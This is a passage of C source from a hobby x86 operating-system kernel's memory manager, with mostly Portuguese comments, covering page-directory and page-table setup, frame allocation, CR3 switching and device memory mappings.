BL.BIN. // bootblock, lfb, device width, device height, bpp ... //extern unsigned long SavedBootBlock; extern unsigned long SavedLFB; //extern unsigned long SavedX; //extern unsigned long SavedY; //extern unsigned long SavedBPP; // ... // // == imports ======================= // extern void set_page_dir (void); // ... //Usar alguma rotina de hal_ pra isso; //extern unsigned long _get_page_dir(); /* // Page table/directory entry flags. #define PTE_P 0x001 // Present #define PTE_W 0x002 // Writeable #define PTE_U 0x004 // User #define PTE_PWT 0x008 // Write-Through #define PTE_PCD 0x010 // Cache-Disable #define PTE_A 0x020 // Accessed #define PTE_D 0x040 // Dirty #define PTE_PS 0x080 // Page Size #define PTE_MBZ 0x180 // Bits must be zero */ /* ?? Para qual tipo ?? enum PAGE_PTE_FLAGS { I86_PTE_PRESENT = 1, // 0000000000000000000000000000001 I86_PTE_WRITABLE = 2, // 0000000000000000000000000000010 I86_PTE_USER = 4, // 0000000000000000000000000000100 I86_PTE_WRITETHOUGH = 8, // 0000000000000000000000000001000 I86_PTE_NOT_CACHEABLE = 0x10, // 0000000000000000000000000010000 I86_PTE_ACCESSED = 0x20, // 0000000000000000000000000100000 I86_PTE_DIRTY = 0x40, // 0000000000000000000000001000000 I86_PTE_PAT = 0x80, // 0000000000000000000000010000000 I86_PTE_CPU_GLOBAL = 0x100, // 0000000000000000000000100000000 I86_PTE_LV4_GLOBAL = 0x200, // 0000000000000000000001000000000 I86_PTE_FRAME = 0x7FFFF000 // 1111111111111111111000000000000 }; */ /* static inline void __native_flush_tlb_single (unsigned long addr) { asm volatile ("invlpg (%0)" ::"r" (addr) : "memory"); } */ /* void *clone_kernel_page_directory (void); void *clone_kernel_page_directory (void) { return (void *) CreatePageDirectory (); } */ // =================================================================== // // #important: DANGER !!! // // get_table_pointer: // // #bugbug // Isso eh um improviso, precisamos de outro endereço. // >>>> 0x1000 // // O sistema esta usando esse endereço como inicio de um heap // onde pegamos paginas (frames?) de memoria para criarmos diretorios de paginas. // Isso porque precisamos de endereços que terminem com pelo menos // 12 bits zerados. // // #todo: // Precisamos encontrar outro lugar para esse heap, // tendo em vista que o numero de diretorios criados sera grande // e o heap invadir outras areas. // // #bugbug // Vamos improvisar um limite por enquanto. // See: globals/gpa.h // unsigned long table_pointer_heap_base = ____DANGER_TABLE_POINTER_HEAP_BASE; //unsigned long table_pointer_heap_base = 0x1000; // ==================================================================== unsigned long get_table_pointer (void) { table_pointer_heap_base = (table_pointer_heap_base + 0x1000); // #todo // Precisamos de uma nova origem. // Os primeiros 12bits precisam ser '0'. // VM_BASE = 0x000B8000. // #bugbug // Todo o espaço entre 0x1000 e 0x000B8000 esta livre ? // Onde estao a fat e o root dir? // MBR_ADDRESS = 0x20000. // Esse o o endereço mais baixo entre os endereços usados // pelo sistema de arquivos. //if ( table_pointer_heap_base >= VM_BASE ) if ( table_pointer_heap_base >= MBR_ADDRESS ) { panic ("pages-get_table_pointer: [FIXME] Limits\n"); } return (unsigned long) table_pointer_heap_base; } /* *********************************************************** * initialize_frame_table: * Frame table to handle a pool of page frames. */ int initialize_frame_table (void){ int i=0; debug_print("initialize_frame_table:\n"); FT.total_frames = (FT.frame_table_size_in_bytes/4096); // Número de páginas necessárias para termos uma tabela. // Cada página pode conter 4096 entradas de i byte FT.n_pages = (FT.total_frames/4096); FT.frame_table = (unsigned char *) allocPages(FT.n_pages); if ((void *) FT.frame_table ==NULL){ panic("initialize_frame_table: invalid FT.frame_table"); } //#todo: limits if ( FT.frame_table_size_in_bytes == 0 ){ panic("initialize_frame_table: frame_table_size_in_bytes"); } // Clear frame table. for (i=0; i < FT.total_frames; i++){ FT.frame_table[i] = 0; } //#debug printf ("Table size in pages %d\n",FT.n_pages); printf ("Total frames %d\n",FT.total_frames); refresh_screen(); FT.frame_table_status = 1; //ok return 0; } // #todo // Describe this thing. unsigned long get_new_frame (void){ int i=0; if (FT.frame_table_status != 1) return 0; //#todo: limits if (FT.frame_table_start == 0){ panic("invalid FT.frame_table_start"); } for (i=0; i< FT.total_frames; i++) { if ( FT.frame_table[i] == 0) { FT.frame_table[i] = 1; // não free. return (unsigned long) ( FT.frame_table_start + (i * 4096) ); } }; //fail; return 0; } /* * clone_directory: * Clone a given page directory. * */ // Clona um diretório dado seu endereço. // Queremos clonar o diretório atual, // para que o processo filho tenha o mesmo diretório do processo pai. // #?? // Esse endereço virtual eh valido? // Pertence ao diretorio que estamos usando no momento? // #todo // mm_clone_directory void *clone_directory ( unsigned long directory_va ){ unsigned long destAddressVA=0; int i=0; // #test // no directory in the address '0' if ( directory_va == 0 ) panic("clone_directory: directory_va\n"); // Get a target address for the directory. // #bugbug: // We are using that routine to get a poiter for a table. // Is that a virtual address ? // What about the size? destAddressVA = (unsigned long) get_table_pointer(); if ( destAddressVA == 0 ){ panic ("CreatePageDirectory: destAddressVA\n"); } // Initialization unsigned long *src = (unsigned long *) directory_va; unsigned long *dst = (unsigned long *) destAddressVA; // Copy. for ( i=0; i < 1024; i++ ){ dst[i] = (unsigned long) src[i]; }; // The address of the new page diretory. return (void *) destAddressVA; } /* * CloneKernelPageDirectory: * * Clone the kernel page diretory. * OUT: The virtual address of the new directory. */ // #todo // mmCloneKernelPageDirectory void *CloneKernelPageDirectory (void){ unsigned long destAddressVA=0; int i=0; //destAddressVA = (unsigned long) newPage (); destAddressVA = (unsigned long) get_table_pointer(); if ( destAddressVA == 0 ){ panic ("CreatePageDirectory: destAddressVA\n"); } // The virtual address of the kernel page directory and // the virtual address of the new page directory. // #bugbug: What directory we are using right now? kernel? unsigned long *src = (unsigned long *) gKernelPageDirectoryAddress; unsigned long *dst = (unsigned long *) destAddressVA; // Copy. for ( i=0; i < 1024; i++ ){ dst[i] = (unsigned long) src[i]; }; // Done. // The virtual address of the new pagedirectory. return (void *) destAddressVA; } /* ******************* * CreatePageTable: * Cria uma page table em um diret�rio. * Obs: * + O endere�o precisa ser alocado antes. * + Precisa ser um endere�o f�sico. * + O diret�rio precisa ser um diret�rio v�lido. * * ===================================== * IN: * * [directory_address] * O endere�o do diret�rio onde colocaremos o endere�o * do in�cio da tabela de p�gina que criaremos. * * [offset] * O deslocamento dentro do diret�rio para sabermos o * lugar para salvarmos o endere�o da tabela de p�ginas * que estamos criando. * @todo: Na hora de salvarmos esse endere�o tamb�m * temos que incluir as flags. * #importante: * O offset � um �ndice dentro do diret�rio de p�ginas. * * [region_address] * O endere�o da regi�o que estamos mapeando na pagetable. * Obs: Precisamos alocar mem�ria para a pagetable * que estamos criando, isso antes de chamarmos essa rotina. * Obs: Uma pagetable tem 4096 bytes de tamanho. * Obs: Criamos uma tabela de p�ginas, com p�ginas em user mode. * */ // #importante: // Cria uma pagetable em um dado diret�rio de p�ginas. // Uma regi�o de 4MB da mem�ria f�sica � mapeanda nessa pt. // #bugbug: // Isso aparentemente est� com problema. #testando ... // #todo // mmCreatePageTable void *CreatePageTable ( unsigned long directory_address_va, int dir_index, unsigned long region_address ) { unsigned long *PD = (unsigned long *) directory_address_va; int i=0; // // ======================= // ### pd ### // // #importante: // Endere�o virtual do diret�rio de p�ginas. // Precisamos do endere�o virtual do diret�rio para edit�-lo. if ( directory_address_va == 0 ){ panic ("CreatePageTable: directory_address_va\n"); } // // =========================== // ### pt ### // // #importante: // Endere�o virtual da tabela de p�ginas que vamos criar. // Precisamos de um endere�o virtual para manipularmos a tabela, // pois o kernel trabalha com os endere�os virtuais, // s� depois converteremos para f�sico e salvaremos na // entrada do diret�rio o ponteiro que � um endere�o f�sico. //unsigned long ptVA = (unsigned long) kmalloc (4096); //unsigned long ptVA = (unsigned long) allocPages (1); //#bugbug //Temos que criar um alocador de mem�ria para os ponteiros //das tabelas, esses ponteiros precisam de 12 bits zerados. //ent�o tem que alocar de 4kb em 4kb. //precisamos encontrar alguma �rea dentro do kernel para isso. //unsigned long ptVA = (unsigned long) newPage (); //bug (pf) //unsigned long ptVA = (unsigned long) kmalloc(4096); //bug (precisa 12bits zerados) //unsigned long ptVA = (unsigned long) 0x1000; //ok unsigned long ptVA = (unsigned long) get_table_pointer(); //ok if ( ptVA == 0 ){ panic ("CreatePageTable: ptVA\n"); } // O endereço virtual permite manipularmos a // pagetable daqui do kernel. unsigned long *newPT = (unsigned long *) ptVA; // // =================================== // ### dir_index ### // // Limits. if ( dir_index < 0 || dir_index >= 1024 ) { panic ("CreatePageTable: offset\n"); } // // =============================== // ### region ### // // Limits. if ( region_address == 0 ){ panic ("CreatePageTable: region_address\n"); } // // =================================== // ### pt ### // // #importante: // Agora vamos mapear a regi�o de mem�ria f�sica na nova pagetable. // #obs: // + J� criamos uma pagetable e temos seu endere�o l�gico. // + Vamos mapear 4MB de mem�ria f�sica. // + Ser�o p�ginas em user mode. // + A pagetable ser� usado por um processo em user mode. // + Note as flags.(7). 7 decimal � igual a 111 bin�rio. // ... //#debug //printf (">> region_address = %x \n",region_address); for ( i=0; i < 1024; i++ ) { newPT[i] = (unsigned long) region_address | 7; region_address = (unsigned long) region_address + 4096; }; //#debug //printf (">> newPT[0] = %x \n", newPT[0]); // // ================================== // ## pd ## // // #importante: // Agora vamos colocar o endere�o f�sico da nova pagetable em // uma das entradas do diret�rio de p�ginas. // O n�mero da entrada � o �ndice passado via argumento. dir_index. // Antes precisamos converter o endere�o l�gico da tabela de p�ginas // em um endere�o f�sico. // obs: // + Precisamos colocar o endere�o f�sico da tabela em uma entrada // do diret�rio. // + Aqui devemos incluir as flags tamb�m. // ... // #importante: // Para chamarmos essa rotina, temos que ter o diret�rio do kernel // corretamente configurado. // #obs: // Poder�amos passar as flags via argumento. // O endere�o do diret�rio de paginas do kernel precisa ser um endere�o virtual. unsigned long ptPA = (unsigned long) virtual_to_physical ( ptVA, gKernelPageDirectoryAddress ); //printf (">> ptVA = %x \n",ptVA); //printf (">> ptPA = %x \n",ptPA); if ( ptPA == 0 ){ panic ("CreatePageTable: ptPA\n"); } PD[dir_index] = (unsigned long) ptPA; PD[dir_index] = (unsigned long) PD[dir_index] | 7; // Done. // Retornaremos o endereço virtual da pagetable, // para que a tabela possa ser manipulada pelo kernel. return (void *) ptVA; } /* ************************************ * x86_SetCR3: * */ // Coloca o endere�o do diret�rio de p�ginas de um processo // no registrador cr3 da arquitetura Intel. // #bugbug: Esse método não está bom. // Usar o outro presente nesse documento. // mm_switch_directory. // N�o podemos usar um diret�rio de p�ginas que esteja // no in�cio da mem�ria RAM. // See: x86/headlib.asm void x86_SetCR3 (unsigned long pa) { if (pa == 0){ panic ("x86_SetCR3: 0 is not a valid address!"); } asm volatile ("\n" :: "a"(pa) ); set_page_dir(); } // Get the physical address from cr3. unsigned long mm_get_current_directory_pa (void) { unsigned long __ret = 0; asm volatile ("mov %%cr3, %0" : "=r"(__ret)); return (unsigned long) __ret; } // #todo // It can be used to change different directories. // And then switch back to the current directory. void mm_switch_directory (unsigned long dir) { if (dir == 0){ debug_print("mm_switch_directory: [FAIL] dir\n"); return; } asm volatile ("mov %0, %%cr3" :: "r"(dir)); } /* // pegar o endereço físico do diretório de páginas de uma processo // dado seu pid. unsigned long mm_get_directory_pa ( pid_t pid ); unsigned long mm_get_directory_pa ( pid_t pid ){ // #todo // Validations. if (pid<0) return 0; p = (struct process_d *) processList[pid]; if ( (void *) p == NULL ) return 0; return (unsigned long) p->DirectoryPA; } */ /* void mm_free_directory ( unsigned long dir ); void mm_free_directory ( unsigned long dir ){ unsigned long current_directory_pa = 0; if ( dir == 0 ) return; current_directory_pa = mm_get_directory_pa (current_process); if (current_directory_pa==0) return; if ( dir == current_directory_pa ) return; // #todo // Clear the directory properly. } */ /* ************************************************************ * mapping_ahci0_device_address: * Mapeando um endere�i f�cico usado pelo driver AHCI. */ // #bugbug // Isso realmente eh um improviso. // Temos muito o que fazer ainda. // #todo // mm_mapping_ahci1_device_address unsigned long mapping_ahci1_device_address ( unsigned long pa ) { unsigned long *page_directory = (unsigned long *) gKernelPageDirectoryAddress; // Endereço improvisado. // See: gpa.h unsigned long *ahci1_page_table = (unsigned long *) PAGETABLE_AHCI1; int i=0; // If you do use a pointer to the device register mapping, // be sure to declare it volatile; otherwise, // the compiler is allowed to cache values and reorder accesses to this memory. // Since this is device memory and not regular DRAM, you'll have to tell // the CPU that it isn't safe to cache access to this memory. //(cache-disable and write-through). // #imporatante // #todo: // Ainda n�o calculamos o uso de mem�ria f�sica. // Precisamos saber quanta mem�ria f�sica esse dispositivo est� usando. // 10=cache desable 8= Write-Through 0x002 = Writeable 0x001 = Present // 0001 1011 for ( i=0; i < 1024; i++ ) { ahci1_page_table[i] = (unsigned long) pa | 0x1B; pa = (unsigned long) (pa + 4096); }; //f0400000 961 page_directory[ENTRY_AHCI1_PAGES] = (unsigned long) &ahci1_page_table[0]; page_directory[ENTRY_AHCI1_PAGES] = (unsigned long) page_directory[ENTRY_AHCI1_PAGES] | 0x1B; // (virtual) return (unsigned long) AHCI1_VA; } /* *********************************** * mapping_nic0_device_address: * Mapeando um endere�o f�cico usado pelo NIC1. */ //82540 test //e, 88000h ficar� a pagetable para mapear o endere�o f�sico em f0000000va //mapeando o nic principal. //considerando que tenhamos mais de uma placa de rede, //esse mapeamento s� ser� v�lido para o primeiro. // #bugbug // Isso realmente eh um improviso. // Temos muito o que fazer ainda. // #todo // mm_mapping_nic1_device_address unsigned long mapping_nic1_device_address ( unsigned long pa ) { unsigned long *page_directory = (unsigned long *) gKernelPageDirectoryAddress; // Endereço improvisado. // See: gpa.h unsigned long *nic0_page_table = (unsigned long *) PAGETABLE_NIC1; int i=0; // If you do use a pointer to the device register mapping, // be sure to declare it volatile; otherwise, // the compiler is allowed to cache values and reorder accesses to this memory. // Since this is device memory and not regular DRAM, you'll have to tell // the CPU that it isn't safe to cache access to this memory. //(cache-disable and write-through). // #imporatante // #todo: // Ainda n�o calculamos o uso de mem�ria f�sica. // Precisamos saber quanta mem�ria f�sica esse dispositivo est� usando. // 10=cache desable 8= Write-Through 0x002 = Writeable 0x001 = Present // 0001 1011 for ( i=0; i < 1024; i++ ) { nic0_page_table[i] = (unsigned long) pa | 0x1B; pa = (unsigned long) (pa + 4096); }; // f0000000 960 page_directory[ENTRY_NIC1_PAGES] = (unsigned long) &nic0_page_table[0]; page_directory[ENTRY_NIC1_PAGES] = (unsigned long) page_directory[ENTRY_NIC1_PAGES] | 0x1B; // 0001 1011 // (virtual) return (unsigned long) NIC1_VA; } /* ************************************************************* * mmSetUpPaging: * Configura o diret�rio de p�ginas do processo Kernel e * algumas tabelas de p�ginas. * * Obs: * Na hora em que um processo � criado deve-se criar seu diret�rio de * p�ginas e as tabelas de p�ginas usadas por ele, de acordo com o tamanho * do processo. * * Diret�rio: * page_directory = 0x0009C000. (Endere�o f�sico).#kernel * * Obs: * Esse diret�rio criado ser� usado pelo processo Kernel e tamb�m por * outros processos tamb�m durante essa fase de constru��o do sistema. * Depois cada processo ter� seu pr�prio diret�rio de p�ginas. Isso est� em * fase de implementa��o. O ideal � um diret�rio por processo. * Toda vez que o Kernel iniciar a execu��o de um processo ele deve * carregar o endere�o do diret�rio do processo no registrador de controle CR3. * * @todo: * Por enquanto s� um diret�rio foi criado. * * @tod: * o Mudar para pagesSetUpPaging. * * @TODO: AS COISAS EST�O MEIO BAGUN�ADAS AQUI. A INTEN��O � QUE * A PARTE BAIXA DA MEM�RIA VIRTURAL DO PROCESSO PERTEN�A AO PROCESSO * E A PARTE ALTA DA MEM�RIA VIRTUAL DO PROCESSO PERTEN�A AO KERNEL. * QUANTO A MEM�RIA F�SICA, DESEJAMOS QUE APENAS O KERNEL ACESSE A * PARTE BAIXA DA MEM�RIA F�SICA, OS PROGRAMAS EM USER MODE MANIPULAR�O * APENAS A MEM�RIA QUE LHES FOR CONCEDIDA. * * History: * 2015 - Created by Fred Nora. * ... */ // Called by: // init_runtime in runtime.c int mmSetUpPaging (void) { // loops register unsigned int i=0; // #importante // Inicializando as vari�veis que vamos usr aqui. // S�o endere�os de mem�ria f�sica. // As vari�veis s�o globais para podermos gerenciar o uso de // mem�ria f�sica. // See: mm/mm.h // See: gpa.h //============================================================== // **** SMALL SYSTEMS **** //============================================================== SMALL_origin_pa = (unsigned long) SMALLSYSTEM_ORIGIN_ADDRESS; SMALL_kernel_base_pa = (unsigned long) SMALLSYSTEM_KERNELBASE; SMALL_user_pa = (unsigned long) SMALLSYSTEM_USERBASE; SMALL_cga_pa = (unsigned long) SMALLSYSTEM_CGA; SMALL_frontbuffer_pa = (unsigned long) SavedLFB; //frontbuffer SMALL_backbuffer_pa = (unsigned long) SMALLSYSTEM_BACKBUFFER; //backbuffer SMALL_pagedpool_pa = (unsigned long) SMALLSYSTEM_PAGEDPOLL_START; //PAGED POOL SMALL_heappool_pa = (unsigned long) SMALLSYSTEM_HEAPPOLL_START; SMALL_extraheap1_pa = (unsigned long) SMALLSYSTEM_EXTRAHEAP1_START; SMALL_extraheap2_pa = (unsigned long) SMALLSYSTEM_EXTRAHEAP2_START; SMALL_extraheap3_pa = (unsigned long) SMALLSYSTEM_EXTRAHEAP3_START; //============================================================== // **** MEDIUM SYSTEMS **** //============================================================== MEDIUM_origin_pa = (unsigned long) MEDIUMSYSTEM_ORIGIN_ADDRESS; MEDIUM_kernel_base_pa = (unsigned long) MEDIUMSYSTEM_KERNELBASE; MEDIUM_user_pa = (unsigned long) MEDIUMSYSTEM_USERBASE; MEDIUM_cga_pa = (unsigned long) MEDIUMSYSTEM_CGA; MEDIUM_frontbuffer_pa = (unsigned long) SavedLFB; MEDIUM_backbuffer_pa = (unsigned long) MEDIUMSYSTEM_BACKBUFFER; MEDIUM_pagedpool_pa = (unsigned long) MEDIUMSYSTEM_PAGEDPOLL_START; MEDIUM_heappool_pa = (unsigned long) MEDIUMSYSTEM_HEAPPOLL_START; MEDIUM_extraheap1_pa = (unsigned long) MEDIUMSYSTEM_EXTRAHEAP1_START; MEDIUM_extraheap2_pa = (unsigned long) MEDIUMSYSTEM_EXTRAHEAP2_START; MEDIUM_extraheap3_pa = (unsigned long) MEDIUMSYSTEM_EXTRAHEAP3_START; //============================================================== // **** LARGE SYSTEMS **** //============================================================== LARGE_origin_pa = (unsigned long) LARGESYSTEM_ORIGIN_ADDRESS; LARGE_kernel_base_pa = (unsigned long) LARGESYSTEM_KERNELBASE; LARGE_user_pa = (unsigned long) LARGESYSTEM_USERBASE; LARGE_cga_pa = (unsigned long) LARGESYSTEM_CGA; LARGE_frontbuffer_pa = (unsigned long) SavedLFB; LARGE_backbuffer_pa = (unsigned long) LARGESYSTEM_BACKBUFFER; LARGE_pagedpool_pa = (unsigned long) LARGESYSTEM_PAGEDPOLL_START; LARGE_heappool_pa = (unsigned long) LARGESYSTEM_HEAPPOLL_START; LARGE_extraheap1_pa = (unsigned long) LARGESYSTEM_EXTRAHEAP1_START; LARGE_extraheap2_pa = (unsigned long) LARGESYSTEM_EXTRAHEAP2_START; LARGE_extraheap3_pa = (unsigned long) LARGESYSTEM_EXTRAHEAP3_START; // ** bank 1 ** // // O primeiro banco representa o m�nimo de mem�ria RAM que o sistema // operacional suporta, 32MB. // Dentro deve conter tudo. At� cache e frames para mem�ria paginada. // Endere�os da mem�ria f�sicas acess�veis em Kernel Mode. // Kernel process. // >> Os 4 primeiros mega da mem�ria fisica. // >> A imagem do kernel que come�a no primeiro mega. // >> Endere�os da mem�ria f�sicas acess�veis em User Mode. // >> VGA, VESA LFB, BACKBUFFER e PAGEDPOOL // #Importante. // Esse endere�o servir� para sistema de 32Mb e para sistemas // com mais que 32Mb de RAM. // Para um sistema de 32MB a �rea de pagedpool deve acabar // em 0x01FFFFFF. //===================================================== // A mem�ria f�sica � dividida em duas partes principais: // + System Zone. (oito bancos de 32MB come�ando em 0) // + Window Zone. (Uma user session come�ando em 0x10000000) // //===================================================== // O n�mero m�ximo de bancos no sistema ser� 8. // Se o sistema for pequeno, teremos menos bancos. // Se o sistema for grande o bastante, teremos 8 bancos e uma user session. // Mas o sistema sempre ser� composto de bancos e uma user session. // A quantidade de bancos ser� contada em vari�veis globais. //================================================================== // // **** Endere�os iniciais �reas de mem�ria 'n�o paginada'. // // *importante: // ?? e se o sistema tiver //================================================================== // ### importante ### // Essa rotina vai configurar s� o deiret�rio de p�ginas do processo kernel. // DIRECTORY: // Diret�rio do processo Kernel. Esse diret�rio j� foi criado nesse // endere�o f�sico pelo Boot Loader. Aqui o kernel apenas reconfigura, // utilizando a mesma localiza�ao. KERNEL_PAGEDIRECTORY. // ?? // Esse valor precisa ser determinado, pois ainda n�o temos // como usar algum alocador, pois sem a mem�ria inicializada, // n�o temos alocador. // // Directory. // // 0x0009C000 = Kernel page directory // é um endereço virtual. // isso porque endereço físico e virtual são iguais abaixo de 1 mb. gKernelPageDirectoryAddress = XXXKERNEL_PAGEDIRECTORY; unsigned long *page_directory = (unsigned long *) gKernelPageDirectoryAddress; // O que temos logo abaixo s�o pequenas parti��es de mem�ria f�sica. // cada parti��o tem 1024 unsigned longs. o que d� 4KB cada. // TABLES: // Tabelas de p�ginas para o diret�rio do processo Kernel. Essas // tabelas j� foram criadas nesses endere�os f�sicos pelo Boot Loader. // Aqui o Kernel apenas reconfigura utilizando as mesmas localiza��es. // Poder�amos alocar mem�ria para as page tables ?? // Sim, mas precisa ser um mecanismo que devolva o endere�o f�sico // de onde foi alocado mem�ria para a page table. // Na verdade deve haver uma �rea de mem�ria reservada para a aloca��o // de page tables. Todas as que ser�o criadas ocupar�o muito espa�o. // // SYSTEM MEMORY * NONPAGED POOLS // //*Importante: // @todo: N�o mudar o endere�o onde essas tabelas foram construidas. // Esses endere�os est�o bem organizados, essa ser� o in�cio da mem�ria // n�o paginada do processo kernel. // Todas as p�ginas mapeadas aqui nunca ser�o enviadas para a mem�ria secund�ria // ou seja nunca mudar�o de endere�o f�sico. // // 0x0008F000 Tabela para mapear a parte mais baixa da mem�ria f�sica. Come�a em 0. // 0x0008E000 Tabela para mapear a mem�ria usada pela imagem do kernel. Come�a em 0x100000. // 0x0008D000 Tabela para mapear uma �rea em user mode onde rodam c�digos. Come�a em 0x400000. // 0x0008C000 Tabela para mapear a vga. Come�a em 0xb8000. // 0x0008B000 Tabela para mapear o frontbuffer, O come�o � passado pelo Boot. // 0x0008A000 Tabela para mapear o backbuffer, o come�o � em (0x01000000 - 0x400000) no small system. // 0x00089000 Tabela de p�ginas para o pagedpool. // kernel mode. (Endere�os). 0x0008F000 unsigned long *km_page_table = (unsigned long *) PAGETABLE_KERNELAREA; // kernel mode. (O kernel). 0x0008E000 unsigned long *km2_page_table = (unsigned long *) PAGETABLE_KERNELBASE; // user mode. 0x0008D000 unsigned long *um_page_table = (unsigned long *) PAGETABLE_USERBASE; // user mode. (vga). 0x0008C000 unsigned long *cga_page_table = (unsigned long *) PAGETABLE_CGA; // user mode. (LFB). 0x0008B000 unsigned long *frontbuffer_page_table = (unsigned long *) PAGETABLE_FRONTBUFFER; // user mode. (buffer). backbuffer 0x0008A000 unsigned long *backbuffer_page_table = (unsigned long *) PAGETABLE_BACKBUFFER; // pagetable para o pagedpool 0x00089000 unsigned long *pagedpool_page_table = (unsigned long *) PAGETABLE_PAGEDPOOL; // um endere�o f�sico para a pagetable que mapear� os buffers. unsigned long *heappool_page_table = (unsigned long *) PAGETABLE_HEAPPOOL; // #todo // Extra heaps. Rever! unsigned long *extraheap1_page_table = (unsigned long *) PAGETABLE_EXTRAHEAP1; unsigned long *extraheap2_page_table = (unsigned long *) PAGETABLE_EXTRAHEAP2; unsigned long *extraheap3_page_table = (unsigned long *) PAGETABLE_EXTRAHEAP3; // ... debug_print("mmSetUpPaging:\n"); // // SYSTEM MEMORY - PAGED POOLS // //Criaremos por enquanto apenas uma pagetable com mem�ria paginada. //unsigned long *paged_page_table = (unsigned long *) ??; //BUFFER_PAGETABLE. // Message. (verbose). // #debug //#ifdef PS_VERBOSE // printf ("mmSetUpPaging: Initializing Pages..\n"); // refresh_screen(); //#endif // // # DIRECTORIES // // Preenchendo todo o diret�rio de p�ginas do kernel com p�ginas // n�o presentes. Usando um endere�o nulo de p�gina. // Inicializando quatro diret�rios. // o bit 7 da entrada permanece em 0, // indicando que temos p�ginas de 4KB. // kernel // Diret�rio de p�ginas do processo kernel. // 0 no bit 2 indica qual level ?? // 010 em bin�rio. // #importante: // O endere�o f�sico e virtual s�o iguais para essa tabela. for ( i=0; i < 1024; ++i ){ page_directory[i] = (unsigned long) 0 | 2; }; // // # PAGE TABLE. (Kernel area) // //=========================================================== // kernel mode pages (0fis = 0virt) // SMALL_kernel_address = 0. // Mapear os primeiros 4MB da mem�ria. (kernel mode). Preenchendo a tabela // km_page_table. A entrada 0 do diret�rio refere-se aos primeiros 4 megas // de endere�o virtual. // // Aqui estamos pegando uma parti��o de mem�ria f�sica de 4MB que come�a no // in�cio da mem�ria RAM. // Obs: Essa page table d� acesso aos primeiros 4MB da mem�ria f�sica, // Isso inclu a �rea do kernel base que come�a no primeiro MB. Manipular // esse espa�o pode corromper o kernel base. // // A inten��o aqui � que o kernel base possa manipular as �reas baixas da // mem�ria f�sica com facilidade. Por�m, para os outros processos, os endere�os // l�gicos mais baixos n�o devem corresponder aos endere�os f�sicos mais baixos, // por seguran�a, apenas o kernel base deve ter acesso � essa �rea. // Para alguns processos especiais, algum tipo de permiss�o poder� ser concedida. // // Configurando uma pagetable. // a pagetable para os primeiros 4MB de mem�ria f�sica. // kernel mode pages (0fis = 0virt) // 011 bin�rio. // >>> kernel mode. // Criando a entrada n�mero '0' do diret�rio de p�ginas do processo Kernel. // que apontar� para a pagetable que criamos. // o bit 7 da entrada permanece em 0, indicando que temos p�ginas de 4KB. // Salva no diret�rio o endere�o f�sico da tabela. // Configurando os atributos. // 4096 KB = (4 MB). mm_used_kernel_area = (1024 * 4); // #importante: // O endere�o f�sico e virtual s�o iguais para essa tabela. for ( i=0; i < 1024; ++i ) { km_page_table[i] = (unsigned long) SMALL_origin_pa | 3; SMALL_origin_pa = (unsigned long) SMALL_origin_pa + 4096; }; page_directory[ENTRY_KERNELMODE_PAGES] = (unsigned long) &km_page_table[0]; page_directory[ENTRY_KERNELMODE_PAGES] = (unsigned long) page_directory[ENTRY_KERNELMODE_PAGES] | 3; // // # PAGE TABLE, (Kernel image) // //=============================================== // kernel mode pages (0x00100000fis = 0xC0000000virt) // SMALL_kernel_base_address = 0x00100000 = KERNEL_BASE. // Mapear 4MB come�ando do primeiro mega. (kernel mode). // Preenchendo a tabela km2_page_table. // // Aqui estamos pegando uma parti��o de mem�ria f�sica de 4MB // que come�a no endere�o f�sico que carregamos a imagem do kernel. // S�o 4MB de mem�ria f�sica, come�ando do primeiro MB, // onde o KERNEL.BIN foi carregado. // Criando uma pagetable. // 4MB de mem�ria f�sica, come�ando em 1MB. // kernel mode pages (0x00100000fis = 0xC0000000virt) // 011 bin�rio. // >>> (kernel mode). // Criando a entrada do diret�rio de p�ginas do processo kernel. // O bit 7 da entrada permanece em 0, indicando que // temos p�ginas de 4 KB. // Salva no diret�rio o endere�o f�sico. // Configurando os atributos. // #importante: // O endere�o f�sico e virtual s�o iguais para essa tabela. for ( i=0; i < 1024; ++i ) { km2_page_table[i] = (unsigned long) SMALL_kernel_base_pa | 3; SMALL_kernel_base_pa = (unsigned long) SMALL_kernel_base_pa + 4096; }; page_directory[ENTRY_KERNELBASE_PAGES] = (unsigned long) &km2_page_table[0]; page_directory[ENTRY_KERNELBASE_PAGES] = (unsigned long) page_directory[ENTRY_KERNELBASE_PAGES] | 3; // Obs: // Percebe-se que houve uma sobreposi��o. Os megas 0,1,2,3 para // kernel mode e os megas 1,2,3,4 para o kernel base. // Isso significa que o Kernel Base pode acessar o primeiro mega // da mem�ria f�sica, usando endere�o virtual igual ao endere�o f�sico. // // #PAGETABLE. (User base) // //============================================================== // user mode pages - (0x00400000fis = 0x00400000virt) // SMALL_user_address = 0x00400000 = USER_BASE. // Mapear 4MB da mem�ria come�ando em 0x00400000fis. (user mode). // // Aqui estamos pegando uma parti��o de mem�ria f�sica de 4MB // que come�a no endere�o f�sico 0x00400000, no quarto mega da // mem�ria f�sica. // � nesse endere�o l�gico que ficar�o os processos em user mode. // Cada processo ter� um diret�rio de p�ginas, e nesse diret�rio de // p�ginas ter� uma page table que atribuir� o endere�o l�gico // de 0x400000 � algum endere�o f�sico alocado din�micamente // para receber a imagem do processo. // Obs: // Se o processo tiver mais que 4MB de tamanho, ent�o ser� preciso // de mais de uma pagetable. // Criando uma pagetable. // 4MB de mem�ria f�sica, come�ando do querto mega. // user mode pages - (0x00400000fis = 0x00400000virt) // ser� usado pelo processo em user mode. Note as flags.(7). // 7 decimal � igual a 111 bin�rio. // >>> (user mode). // Criando a entrada do diret�rio de p�ginas do processo kernel. // o bit 7 da entrada permanece em 0, indicando que temos // p�ginas de 4KB. // Salva no diret�rio o endere�o f�sico. // Configurando os atributos. // 4096 KB = (4 MB). mm_used_user_area = (1024 * 4); // #importante: // O endere�o f�sico e virtual s�o iguais para essa tabela. for ( i=0; i < 1024; ++i ) { um_page_table[i] = (unsigned long) SMALL_user_pa | 7; SMALL_user_pa = (unsigned long) SMALL_user_pa + 4096; }; page_directory[ENTRY_USERMODE_PAGES] = (unsigned long) &um_page_table[0]; page_directory[ENTRY_USERMODE_PAGES] = (unsigned long) page_directory[ENTRY_USERMODE_PAGES] | 7; // Obs: // Novamente aqui h� uma sobreposi��o. // O primeiro mega dessa �rea destinada � user mode, � o mesmo // �ltimo mega da �rea destinada ao Kernel Base. // Isso significa uma �rea de mem�ria compartilhada. // O que est� no primeiro mega dessa �rea em user mode tamb�m est� // no �ltimo mega da �rea do kernel base. // // #PAGE TABLE. (VGA). // // ============================================================== // user mode VGA pages - ( 0x000B8000fis = 0x00800000virt) // SMALL_vga_address = VM_BASE; //0x000B8000; // Mapear 4MB da mem�ria 